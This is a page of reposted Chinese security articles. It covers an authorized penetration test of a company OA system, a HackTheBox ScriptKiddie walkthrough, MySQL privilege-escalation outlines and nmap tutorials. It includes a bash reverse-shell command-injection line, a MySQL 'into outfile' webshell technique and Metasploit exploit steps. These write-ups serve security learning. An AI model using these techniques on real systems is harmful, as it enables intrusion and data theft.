真实环境中的渗透思路 安全文章

真实环境中的渗透思路

作者:大疯 转自:https://www.freebuf.com/articles/web/258989.html背景授权测试XX工程公司内部OA系统主要业务:监理,工程造价等正文接入内部网络,拿到网址后使用nmap扫描服务器信息nmap -O  目标开启了不少端口,扫描结果服务器可能为win7或windows sever 2012,开启了445端口,试试永恒之蓝是否能直接拿下msfconsoleuse exploit/windows/smb/ms17_010_eternalblueset rhost 目标IPexploit没成功,意料之中。尝试3306端口爆破mysql口令。mysql -h 目标ip拒绝了我们的连接,不过在这里曝出了服务器名,现在尝试查看80端口的web服务,web才是我们的主要目标。登录页这里未做验证码控制,说明可能允许爆破,打开purb进行抓包,查看信息密码未进行加密,手动尝试了几个弱口令没有提示异常,选择OA系统成功率高的字典开始枚举且把从浏览器收集到的公司暴露在外面的员工姓名加入字典枚举途中查看网站指纹,下图为wappalyzer插件可以看到网站使用thinkphp框架,中间件为APache 2.4.4thinkphp不同版本具有远程代码执行漏洞,信息泄露、文件包含、SQL注入漏洞尝试利用文件包含漏洞途中thinkphp报错虽然没利用成功,但是这里曝出了网站路径和thinkphp具体版本知道具体版本后尝试使用thinkphp3.2.3经典漏洞信息泄露查看日志文件<domain>/Application/Runtime/Logs/Home/19_07_022.log成功查看到日志文件,包含了历史登录的所有用户名、密码和一些其他信息,数据量巨大,没来得及慢慢看。这个漏洞详细利用方式介绍:https://newsn.net/say/thinkphp-bug-log.html这里使用泄露的用户名密码登录系统进入系统后从项目信息中获取到公司内部结构,然后从日志信息中获取权限更高的用户密码登录到高权限账户后发现待我处理模块中可以上传合同文件thinkphp框架中规定了各类函数的安全引用方法尝试过程中发现XSS已经做了转译处理,SQL注入也已预编译,防护均OK但是上传功能配合APache 2.4.4的解析漏洞可能绕过thinkphp规定的安全策略,开始从上传点入手下载部分网站图片等文件作为上传测试,乱输入一个后缀无法上传,说明为白名单,测试结果仅允许JPG,PNG,docx,xlsx后缀上传这里花费了很多功夫,发现安全策略检查了MIME,检查了后缀,检查了文件内容,且上传后会二次渲染并重新随机命名文件安全策略还是很全面的,单配合解析漏洞无法利用但工作表的上传可能带来另一个危险漏洞,如果上传的合同文件带有Office宏病毒,当工作人员下载查看文件的时候可能被控制主机上传点进行到这里结束,寻找其他漏洞这时我们想起之前的信息泄露,目录文件为wamp,wamp server为开发者的集成环境推测服务器环境使用此环境搭建,且wamp默认安装了phpmyadmin进行mysql管理,尝试访问phpmyadmin这里显示无权限访问phpmyadmin界面这里修改IP尝试访问,最终在58网段成功访问phpmyadmin界面对之前的泄露的口令进行口令组合尝试密码枚举成功登录枚举出root密码,密码为小写字母加数字加特殊字符方式,进入数据库数据在系统里已经呈现七七八八了,尝试写入shell获得系统权限select ‘内容’ into outfile ‘这里的绝对路径thinkphp报错已经告诉我们,并且日志文件泄露,mysql日志文件同样记录有绝对路径’成功执行,访问地址接下来写入一句话,写入一句话的时候遇到点问题执行后访问无这个文件,推测可能装了杀毒,写入免杀脚本成功连接执行MSF的payload进入后渗透渗透测试干货 | 横向渗透的常见方法一次通过漏洞挖掘成功渗透某网站的过程安全团队不可错过的七个云安全开源工具欢迎关注LemonSec觉得不错点个“赞”、“在看”哦 本文始发于微信公众号(LemonSec):真实环境中的渗透思路
阅读全文
Nmap在VMware NAT网络下探测主机存活误报的分析 安全闲碎

Nmap在VMware NAT网络下探测主机存活误报的分析

起因昨天,在某安全交流群,看到关于Nmap扫描的讨论,对一个段做主机存活扫描,发现主机全部存活。扫描源主机是安装在虚拟机上的Kali,网络连接为NAT模式,使用-sP参数对192.168.0.0/24网段扫描,探测存活主机,返回结果为256个IP全部在线,而实际情况是该网段只有几个IP存活,使用Ping命令,其它不在线的IP是Ping不通的。分析难道是Nmap出错了?带着这个疑问,我查阅了Nmap的官方文档,Nmap使用-sn参数指定只做主机存活发现(以前的一些版本中使用-sP,新版本中-sn和-sP都可以使用,为同一参数),不做端口扫描。Nmap默认的主机存活发现使用了以下四种方式:ICMP echo requestTCP SYN to port 443TCP ACK to port 80ICMP timestamp request只要其中一个主机存活的特征存在,Nmap判断为主机存活。Linux下默认Ping命令使用的ICMP echo请求,现在Ping不通,那第一种请求是没有主机存活特征的,问题可能在后面的三种请求。抓个包分析吧。扫描源IP为10.10.10.128,筛选了其中一个不存在的IP 192.168.0.10。ICMP echo请求ICMP timestamp请求没有响应,但奇怪的是,到80端口的ACK请求,有一个RST标志的响应,窗口大小是32767。正常情况下,数据包发送到一个不存在的IP,不会收到任何响应。TCP连接端口未监听、请求超时、异常关闭等几种情况会发送RST标志的响应。IP存在,但端口关闭,收到ACK标志的包时,会返回一个RST标志的包,内容为Seq=1,Win=0,Len=0。这里返回了一个RST标志的包,而且窗口大小不为0,Nmap认为该端口开放(参考Nmap的TCP Windows Scan),也就是这个包导致了Nmap对主机存活的误判断。这个包是哪来的呢?网络结构很简单,除了VMware的NAT外,没有其它网络设备,说明这个包是NAT返回的。解决现在已经知道了引起Nmap误判断的原因是VMware的NAT,那用什么方法来避免呢?方法一:只使用ICMP echo请求探测(-PE)探测主机时,添加-PE参数,nmap只发送一个ICMP echo请求。nmap -sn -PE -n 192.168.0.0/24现在可以扫描出准确的主机存活信息了。-n参数禁用域名解析,避免浪费大量实在在域名解析等待上。过滤其中一个存活的IP192.168.0.102,Nmap发送一次IMCP echo请求,收到102的ICMP响应后,判断主机存活,不在发送其它数据包。不存活的IP192.168.0.106,发现两次ICMP echo请求,仍未收到106的ICMP响应,则判断为主机不存活。不过这种方式存在一个问题,Nmap最多发送两次ICMP echo请求,主机禁Ping或者丢包时造成漏报。方法二:VMware虚拟机网络连接方式改为桥接既然问题是VMware的NAT引起的,那就索性不用NAT了,改成桥接,这也是VMware官方的建议。其实,VMware网络连接使用桥接模式,好处不只是解决了Nmap对主机存活的误判断,也避免了无法traceroute和操作系统判断不准确的问题,可以直接创建反弹shell监听端口,网络性能上也优于NAT。影响操作系统判断的原因,这里提一下,经过VMware NAT返回的数据包,TTL永远是128,即使对方操作系统是Linux。下图是两种网络连接模式,使用-O参数探测操作系统是的结果对比。所以,作为渗透测试的虚拟机,还是直接用桥接网卡吧。后记至于VMware NAT为什么会存在这些问题,由于个人的时间精力有限、对TCP/IP/NAT等各种协议的理解有限,未做深入研究。 本文始发于微信公众号(疯猫网络):Nmap在VMware NAT网络下探测主机存活误报的分析
阅读全文
记一次Devel靶机渗透测试演练实例 安全文章

记一次Devel靶机渗透测试演练实例

点击上方蓝字关注我们前言本次演练是基于HackTheBox的Devel靶机,它以FTP和HTTP开头。我将使用FTP匿名登录上传一个webshell来获取机器上的shell。然后,使用Windows内核漏洞来获取系统shell。最终通过一些简单的提权操作获得root下的flag。信息收集首先,使用Nmap探测机器上开放端口和相关服务,发现FTP和HTTP分别在21和80上打开。使用Banner Grabbing,我们能够获取FTP和HTTP的版本。nmap扫描结果如下所示:nmap -sC -sV -oA intense 10.129.152.23 Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-27 19:04 UTC Nmap scan report for 10.129.152.23 Host is up (0.069s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 02:06AM aspnet_client | 03-17-17 05:37PM 689 iisstart.htm |03-17-17 05:37PM 184946 welcome.png | ftp-syst: | SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/7.5 |_http-title: IIS7 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results...
阅读全文
kali学习笔记之端口扫描工具 安全文章

kali学习笔记之端口扫描工具

信息收集是渗透测试中非常重要的环节,今天就来跟大家分享一下kali系统中用于信息收集的几种工具。在日常信息收集中,我们在获取了目标ip之后通常会对其开放的端口进行探测,目的在于查看该服务器开启了哪些服务,并针对性的进行测试。今天我们介绍一下Nmap工具与Masscan工具。kali默认安装了这两个工具,不需要手动再次进行安装。nmap扫描常用的参数:1.  扫描单个目标地址   nmap 192.168.0.12.  扫描多个目标地址nmap 192.168.0.1 192.168.0.23.  扫描范围内目标地址nmap,192.168.0.1-104.  扫描目标地址所在网段nmap 192.168.0.0/245.  扫描文件中目标地址(绝对路径)nmap –iL /root/DiskTop/1.txt6.  扫描除某一个目标地址之外的所有目标地址nmap 192.168.0.0/24  –exclude 192.168.0.27.  扫描除某一文件中的目标地址之外的目标地址nmap 192.168.0.0/24  –excludefile /root/DiskTop/1.txt8.  扫描某一目标地址的指定端口nmap 192.168.0.1 –p 219.  对目标地址进行路由跟踪nmap --traceroute 192.168.0.110.扫描目标地址C段在线情况nmap –sP 192.168.0.1/2411.目标地址的操作系统指纹识别nmap –O 192.168.0.112.目标地址提供的服务版本检测nmap –sV 192.168.0.113.探测防火墙状态nmap –sF –T4 192.168.0.1Masscan与Nmap相比起来,速度要快很多,Masscan只能探测端口的存活状态,无法探测主机的系统,端口所对应的服务等。Masscan常用的参数:masscan --ports 1-10000 192.168.26.131 --adapter-ip 192.168.26.1--adapter-ip 指定发包的ip地址--adapter-port 指定发包源端口--adapter-mac 指定发包的源MAC地址--router-mac 指定网关MAC地址--exclude IP地址范围黑名单,防止masscan扫描--excludefile 指定IP地址范围黑名单文件--includefile,-iL 读取一个范围列表进行扫描--wait 指定发包后的等待时间 本文始发于微信公众号(LSCteam):kali学习笔记之端口扫描工具
阅读全文
win下编译最新单文件nmap 安全博客

win下编译最新单文件nmap

nmap 功能非常强大一直是广大安全测试人员最喜爱工具之一渗透测试过程中很多时候目标环境不方便安装nmap 所以就需要编译一份单文件版nmap支持低版本windows(winxp\win2003)本人代码功底非常粗浅,所遇到问题大多通过google找到解决方案的写这篇文章目的是当作个人笔记,如果想喷请有建设性的喷,欢迎指出不足,或加以改良(剔除不必要的库和功能以减少体积) 运行截图: 按照常规的方式静态编译 拿到第三方系统运行发现缺少openssl 相关库查询原因原来是 openssl 库需要单独静态编译 静态编译openssl 请参考:http://www.jianshu.com/p/4522f17ce2ffhttp://seclists.org/nmap-dev/2011/q2/att-1090/ncat-portable-static.txt 简要说明下:在Windows环境下编译openssl需要perl支持,安装ActivePerl下载OpenSSL源码 我们用VS2013来作为编译工具,打开命令行,切换到bin目录,比如 12345shell> cd d:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\binshell> vcvars32.batshell> perl Configure --prefix=C:/OpenSSL VC-WIN32 no-asm -no-sharedshell> ms\do_ms.batshell> nmake -f ms\nt.mak install 此处:附上以静态编译好了的openssl静态库 免去安装编译环境的麻烦 OpenSSL静态库下载 配置包含目录及编译好的openssl库目录 设置平台工具集 使编译的文件支持低版本windows 设置静态编译 说明:多线程(MT) 与 多线程调试(MTd)貌似一样,都没有MSVCP和MSVCR函数导入,只有Kernel32.dll。同时观察这两个文件的体积,都比MD或MDd大了很多,这正是它们不需要导入运行时库DLL函数的原因,因为它们把运行时库静态编译到自己的文件中去了。这也代表着它们运行的时候不会再依赖外部的运行时库DLL文件。 来源 这里编译会遇到几个坑: 第一个坑:报错: 1>libeay32.lib(cryptlib.obj) : error LNK2019: unresolved external symbol [email protected] referenced in function _OPENSSL_isservice1>libeay32.lib(cryptlib.obj) : error LNK2019: unresolved external symbol [email protected] referenced in function _OPENSSL_isservice1>libeay32.lib(cryptlib.obj) : error LNK2019: unresolved external symbol [email protected] referenced in function _OPENSSL_isservice1>libeay32.lib(cryptlib.obj) : error LNK2019: unresolved external symbol [email protected] referenced in function _OPENSSL_showfatal 解决办法附加依赖项添加user32.libgdi32.lib 参考来源 第二个坑 选release编译,在链接的时候出问题了: 7>LIBCMT.lib(crt0init.obj) : warning LNK4098: 默认库“libcmtd.lib”与其他库的使用冲突;请使用...
阅读全文
【渗透测试】hackthebox靶场之ScriptKiddie 安全文章

【渗透测试】hackthebox靶场之ScriptKiddie

0x01信息收集端口扫描:namp -A -sS -sV -sC 10.10.10.226开放了22和5000端口(开启了Werkzeug httpd 0.16.1服务),使用浏览器打开5000端口是一个黑客工具集,类似于CTF中在线ping工具存在命令执行漏洞的一样,这时候就是开始漏洞搜索了。0x02漏洞搜索且利用Nmap设置127.0.0.1扫描一下,发现nmap的版本是7.80Msf搜一下漏洞:searchsploit -c Nmap发现并没有能利用的漏洞搜索第二个工具,搜索venom时发现有个apk模板注入,我们可以利用这个试试看。(使用第三个在线工具也可以搜索venom)这时候就可以利用msf生成一个apk的马use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection //使用此exp发现只需要填写kali的IP地址和监听端口(4444)set lhost 10.10.14.16 //设置本机IP地址exploit //生成木马可知木马生成完毕,在/root/.msf4/local/路径下然后开始监听4444端口nc -lvvp 4444然后把生成的apk木马上传到第二个工具然后getshell!我们升级一下shellSHELL=/bin/bash script -q /dev/null然后在根目录拿到user flag: ec09611a1d4cf67b831700b176aa70bc0x03提升权限进入home目录,发现除了kid用户目录,还有一个pwn用户目录查看pwn目录下的文件,发现有个scanlosers.sh的脚本文件,cat文件内容通过脚本文件的代码审计,发现它会一直扫描/home/kid/logs/hackers日志文件的IP地址。该脚本未对hackers文件传入的内容做过滤并且hackers文件是kid用户可编辑的,可以通过写入恶意代码,利用命令注入获得pwn用户的shell,在logs目录下输入:(记住有空格)echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.16/1234 0>&1' #" >> hackers1234端口成功反弹shellSudo -l 发现msf拥有root权限并且不需要密码不多说,直接进入msfsudo /opt/metasploit-framework-6.0.9/msfconsole在root目录下,拿到root flag:525a323ae46ff873d1a88e68fe6484a6●【渗透测试】hackthebox靶场之Delivery●【渗透测试】hackthebox靶场之Base●【渗透测试】hackthebox靶场之Vaccine●【渗透测试】Hackthebox之Beginner Track系列微信搜一搜暗魂攻防实验室 本文始发于微信公众号(暗魂攻防实验室):【渗透测试】hackthebox靶场之ScriptKiddie
阅读全文
【信息安全基础系列】1|-mysql漏洞利用与提权(总结的完整) 安全文章

【信息安全基础系列】1|-mysql漏洞利用与提权(总结的完整)

‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍ 目录0x01 Mysql信息收集    1.使用Nmap进行mysql的信息收集    2.通过msf探测mysql信息    3.使用sqlmap进行sql注入收集mysql版本信息0x02 获取mysql密码    1.使用msf模块爆破    2.nmap脚本进行爆破    3.sqlmap的sql-shell查询哈希值    4.从网站泄露的源代码中查找配置文件获取用户名密码0x03 通过Mysql向服务器写shell    1.利用联合注入写入shell    2.当sql注入为盲注或者报错注入时,可以使用分隔符写入shell    3.当secure_file_priv为NULL写入shell0x04 Mysql提权    1.UDF手动提权        1.1msf下使用UDF提权    2.mysql启动项提权        2.2 msf启动项提权    3.反弹端口提权    4.CVE-2016-6663提权0x01 Mysql信息收集1.1 使用Nmap进行mysql的信息收集nmap -sC -sV 192.168.0.107 -p3306或者使用nmap的nse脚本对MySQL进行扫描└─# ls -lah /usr/share/nmap/scripts/*mysql*-rw-r--r-- 1 root root 6.5K Oct 12 2020 /usr/share/nmap/scripts/mysql-audit.nse-rw-r--r-- 1 root root 3.0K Oct 12 2020 /usr/share/nmap/scripts/mysql-brute.nse-rw-r--r-- 1 root root 2.9K Oct 12 2020 /usr/share/nmap/scripts/mysql-databases.nse-rw-r--r-- 1 root root 3.2K Oct 12 2020 /usr/share/nmap/scripts/mysql-dump-hashes.nse-rw-r--r-- 1 root root 2.0K Oct 12 2020 /usr/share/nmap/scripts/mysql-empty-password.nse-rw-r--r-- 1 root root 3.4K Oct 12 2020 /usr/share/nmap/scripts/mysql-enum.nse-rw-r--r-- 1 root root 3.4K...
阅读全文
Nmap结果处理小工具 安全工具

Nmap结果处理小工具

       python学习xml解析和多线程中遇到的问题进行简单分享。        之前手里一直在用公司大佬们写的nmap结果处理工具,近期项目较清闲,想着自己去学习下python的多线程来跑一下nmap探测结果,并将生成的状态码和标题输入到csv文件中,写的比较粗糙,勉强能用。       项目地址:https://github.com/msfisgood/Nmap_tools/       运行结果: 另外从大佬那儿了解到nmap支持直接跑title的--script=http-titleimport csvimport timeimport sysimport requestsimport datetimeimport threadingimport threadpoolfrom bs4 import BeautifulSoup as bsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningtry: import xml.etree.cElementTree as ETexcept ImportError: import xml.etree.ElementTree as ETrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)Time = datetime.datetime.now().strftime('%Y-%m-%d')#print(Time)CODE = def GetFile(path): # 获取文件 try: tree = ET.parse(path) root = tree.getroot() #print(root.tag) # print(Item) except Exception as e: print(e) return {} ports = for host in root.findall('host'): if host.find('status').get('state') == 'down': continue #print(host) address = host.find('address').get('addr',None) #print(address) if not address: continue for port in host.iter('port'): state = port.find('state').get('state','') portid = port.get('portid',None) serv = port.find('service') serv = serv.get('name') if serv == "": serv == "未知" #print(state,portid,serv) ports.append({'IP':address,'PORT':portid,'STATUS':state,'SERVICE':serv}) return(ports) def MkdirFile(Date_list):...
阅读全文
【奇技淫巧】Nmap扫描截图 服务 安全文章

【奇技淫巧】Nmap扫描截图 服务

渗透测试时,您可以发现许多甚至不运行Web 应用程序的服务。为了解决此问题并仅查看特定服务正在运行的应用程序Trustwave SpiderLabs创建了一个Nmap脚本,允许您截取正在运行的Web服务。这个脚本依赖于wkhtmltoimage工具以提高工作效率。因此,第一步是下载它,解压缩并将其复制到/ usr/local/bin 文件夹中。为了实现这一目标,我们需要执行以下命令我们的终端。wget http://wkhtmltopdf.googlecode.com/files/wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2tar -jxvf wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2cp wkhtmltoimage-i386/usr/local/bin/现在该下载http-screenshot脚本,并将其放在所有nmap脚本所在的路径下。在/usr/local/share下/NMAP/scripts/这个脚本会调用wkhtmltoimage可执行文件来截取屏幕截图。因此它基本上将这个工具集成到nmap中。现在是时候运行命令nmap -script-updatedb以便用新脚本更新我们的nmap脚本引擎。如果我们想测试这个脚本,我们所要做的就是在我们的nmap 扫描中调用脚本。例如:正如您从示例中所看到的那样,它会将映像与主机的IP以及服务正在运行的端口一起保存。 本文始发于微信公众号(T00ls):【奇技淫巧】Nmap扫描截图 服务
阅读全文
将nmap指纹集成到扫描器中.md 安全文章

将nmap指纹集成到扫描器中.md

nmap真是一款神器,并且开源了这么多年依旧在更新。image-20210505231856588六天前依然在更新。每次做扫描时调用nmap虽然没什么大碍,但也总想着能自己实现一款可控的端口指纹识别工具。nmap指纹解析nmap的指纹是开源的,下载 https://raw.githubusercontent.com/nmap/nmap/master/nmap-service-probes 这个文件就好。image-20210505232242029但是想调用它的指纹,你需要写一套脚本来解析它的格式。关于指纹的格式描述可以参考下面链接官方文档https://nmap.org/book/vscan-fileformat.htmlNmap原理02 - 编写自己的服务探测脚本https://www.cnblogs.com/liun1994/p/6986544.html不想看也没关系,我根据上面的参考,写了一个脚本,可以将nmap的指纹转换为json可读的模式,只需要引入这个json文件,就更方便进行扫描的操作了。脚本地址:https://github.com/boy-hack/nmap-parserjson化之后指纹是这样的image-20210505233050346每个字段的解释protocol是协议,tcp或udpprobename是协议的名称probestring是这个协议要发送的payloadports是一个端口列表,在这个端口里才使用这个协议matches和softmatches是匹配的指纹列表image-20210505233427821根据正则匹配就可以获取到name,版本等的信息了用nmap做网络空间探测有了指纹,就可以自己写一个关于网络空间探测的小玩具了,但要做大,还需要考虑一些可能的技术问题。依稀记得@白帽会赵武 发过一篇文章。指纹探测技术上可分为三类连接端口后,会回显一个包,这个包可以当作指纹发送一个包,会返回一个包,这个包可作为指纹发送一个包,这个包正确才会显示内容根据nmap指纹就可以获得前两类的指纹信息了,后一类得靠自己根据协议自己实现了(这也是大厂的技术壁垒)。还有一个壁垒就是扫描速度如何优化,用无状态扫描器,zmap或者masscan可以快速的扫描ip开放的端口,但是它们的运行原理只在握手的第一个包,所以它们只能进行探测。进行指纹识别就要进行有状态的扫描,在无状态发包获取成功后再次发包变成正常的握手模式,再发各种探针来进行指纹识别,但此时速度肯定会有下降。这里的流程可以优化为无状态发包,收到回复后继续无状态发送探针,然后标记,最后网卡收包的时候探测到这个标记的就行。参考nmaphttps://github.com/nmap/nmapnmap指纹转换json文件https://github.com/boy-hack/nmap-parser 本文始发于微信公众号(Hacking就是好玩):将nmap指纹集成到扫描器中.md
阅读全文